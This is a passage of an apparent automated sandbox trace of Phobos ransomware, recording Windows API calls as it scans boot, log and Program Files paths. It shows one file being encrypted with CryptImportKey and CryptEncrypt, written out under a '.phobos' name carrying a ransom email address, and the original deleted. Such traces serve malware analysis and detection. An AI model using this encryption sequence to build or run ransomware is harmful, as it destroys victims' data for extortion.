"c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.391] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.391] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.391] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.391] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=162331) returned 1 [0162.391] CloseHandle (hObject=0x290) returned 1 [0162.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0162.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.392] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.392] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.392] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.392] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=164347) returned 1 [0162.392] CloseHandle (hObject=0x290) returned 1 [0162.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0162.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.392] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.393] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.393] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.393] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=154427) returned 1 [0162.393] CloseHandle (hObject=0x290) returned 1 [0162.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0162.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.393] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.393] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.393] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.394] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=156245) returned 1 [0162.394] CloseHandle (hObject=0x290) returned 1 [0162.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0162.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.394] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.394] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.394] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0162.394] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=44859) returned 1 [0162.394] CloseHandle (hObject=0x290) returned 1 [0162.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0162.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.395] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.395] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.395] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.751] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=85862) returned 1 [0162.751] CloseHandle (hObject=0x2c0) returned 1 [0162.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0162.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.752] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.752] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.752] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.752] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=42400) returned 1 [0162.752] CloseHandle (hObject=0x2c0) returned 1 [0162.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0162.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.753] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.753] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.753] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.753] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=63832) returned 1 [0162.753] CloseHandle (hObject=0x2c0) returned 1 [0162.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0162.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.753] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.754] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.754] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.754] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=42328) returned 1 [0162.754] CloseHandle (hObject=0x2c0) returned 1 [0162.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0162.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.754] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.755] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.755] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.755] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=63840) returned 1 [0162.755] CloseHandle (hObject=0x2c0) returned 1 [0162.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0162.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.755] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.755] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.755] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.756] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=42392) returned 1 [0162.756] CloseHandle (hObject=0x2c0) returned 1 [0162.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0162.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.756] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.756] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.756] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.757] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=395226) returned 1 [0162.757] CloseHandle (hObject=0x2c0) returned 1 [0162.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0162.757] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0162.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\bootmgr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.758] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.758] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0162.758] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.758] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.758] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.758] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.758] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=1052672) returned 1 [0162.758] CloseHandle (hObject=0x2c0) returned 1 [0162.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0162.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0162.764] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.765] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.765] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=69632) returned 1 [0162.765] CloseHandle (hObject=0x2c0) returned 1 [0162.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0162.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0162.765] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.765] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.766] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0162.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.766] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=15984) returned 1 [0162.766] CloseHandle (hObject=0x2c0) returned 1 [0162.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0162.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0162.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0162.767] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0162.767] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0162.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0162.767] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d0c10) returned 1 [0162.767] CryptSetKeyParam (hKey=0x1d0c10, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0162.767] ReadFile (in: hFile=0x2c0, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x3e70, lpOverlapped=0x0) returned 1 [0162.814] CryptEncrypt (in: hKey=0x1d0c10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x3e80, dwBufLen=0x3e80 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x3e80) returned 1 [0162.814] WriteFile (in: hFile=0x2c4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x3e80, lpOverlapped=0x0) returned 1 [0162.815] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1110) returned 1 [0162.815] CryptSetKeyParam (hKey=0x1d1110, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0162.815] CryptEncrypt (in: hKey=0x1d1110, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0162.815] CryptDestroyKey (hKey=0x1d1110) returned 1 [0162.815] WriteFile (in: hFile=0x2c4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0162.816] CryptDestroyKey (hKey=0x1d0c10) returned 1 [0162.816] CloseHandle (hObject=0x2c0) returned 1 [0162.816] CloseHandle (hObject=0x2c4) returned 1 [0163.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0163.882] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0163.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.882] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=18624) returned 1 [0163.882] CloseHandle (hObject=0x2dc) returned 1 [0163.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0163.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 